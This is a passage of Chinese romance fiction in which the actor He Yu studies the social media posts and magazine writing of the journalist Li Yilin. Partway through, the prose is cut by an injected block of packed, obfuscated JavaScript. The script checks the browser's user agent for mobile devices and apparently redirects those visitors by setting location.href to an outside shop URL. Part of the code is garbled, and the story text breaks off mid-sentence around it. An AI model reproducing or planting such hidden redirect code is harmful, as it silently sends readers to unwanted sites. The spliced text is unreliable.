册5年,发了500多条内容。
何屿点进她的微博,一条一条看下去。
*
她是他的影迷,很早就是。她微博的第一条内容,是转发他的首映礼。她记录了很多正在读的书,也会转发一些出彩的观点与评论。她喜欢奇怪绿植,也喜欢猫猫狗狗。她会为他写影评,转发有关他的所有资讯。她很喜欢英国,几乎每年都去伦敦,发布的几张个人照片都是在樱花草山拍的。有一张是她坐在草坪木椅上,手里拿着一本从旧书店淘来的济慈诗集。她穿着棕色复古外套,蓝色牛仔裤,白色高帮匡威。头发蓬松,长至锁骨,被风稍稍吹乱。
何屿点开这张照片仔细去看。她身材颀长,相貌秀丽,虽然在对着镜头微笑,气质却透着锋利。
在他的手机里,她整个人,沉浸在美丽的伦敦日落中。
助理喊他去备戏,他稍微应了声。而后他长按这张属于李伊林的照片,下载原图,存至相册。
何屿熄灭手机屏幕,起身去工作。
*
27岁的何屿对名为李伊林的杂志写手产生兴趣。他回去翻看《明周刊》,去找所有她写的稿子来看。她主管文化栏目,也会在大专题里写开篇大稿。在关照当下的时事专题里,她写短视频的“脑腐”效应,快时尚对长期主义的破坏,音乐剧的爱豆产业式发展,长期流行的优绩主义陷阱;在更重人文关怀的文化栏目里,她写电影产业的女性困境,菜市场里“养育”出的女性作家,大法官鲁斯·巴德·金斯伯格,重读“阁楼里的疯女人”……
大专题中的李伊林锋利,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16796694|169676||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
趣,毒舌,冷峻。而在文化类、人物类的女性选题中,她的风格又会变得亲切,温和,悲悯,真诚。她的阅读量惊人,掉起书袋来酣畅淋漓。她对人性充满好奇,也颇有采访与叙事技巧。她就像游走于世界与自我之间的一支锐利的笔,冷眼旁观,又倾身入世。
毫无疑问,她是一个十分优秀的写作者。
*
只是,何屿认为,这位李伊林只是在装作成熟。在写他的稿子里,她更多呈现出的是对演艺圈不甚了解的理想主义。她并不知道这个圈子的趋炎附势、残酷黑暗,仅仅从艺术与创造的角度来理解时代印记下的何屿。她不曾见过剧组里的权力倾轧,也并不清楚在所谓“艺术创作者”这个看似高贵的头衔之下,不过是随处可见的人性黑洞。
在圈中多年,他眼见着身边同级沉沉浮浮,知晓那些被精心塑造的公共面具之下,存在多少不择手段与蝇营狗苟。他也更清楚自己之所以能如此任性的站在边缘,却依然能资源不断,不是因为他有多大能耐,而是因为他出身优渥,在这个看中资源背景的圈子有天然优势。他不用为生计发愁,也并非为名利财富而来,所以永远有后路可退。
*
这位名叫李伊林的陌生人,在观念里、脑海中,塑造了一个存在于她审美体系中的「理想何屿」。他的独行,并非她所幻想的,“古典式明星”的生活方式。原因远没有如此高尚纯粹。
他只是,不想与这个圈子发生工作之外的任何关系。仅此而已。
在他27年的生命里,没有对人产生过如此浓厚的兴趣。他喜欢独处,喜欢拥有独立的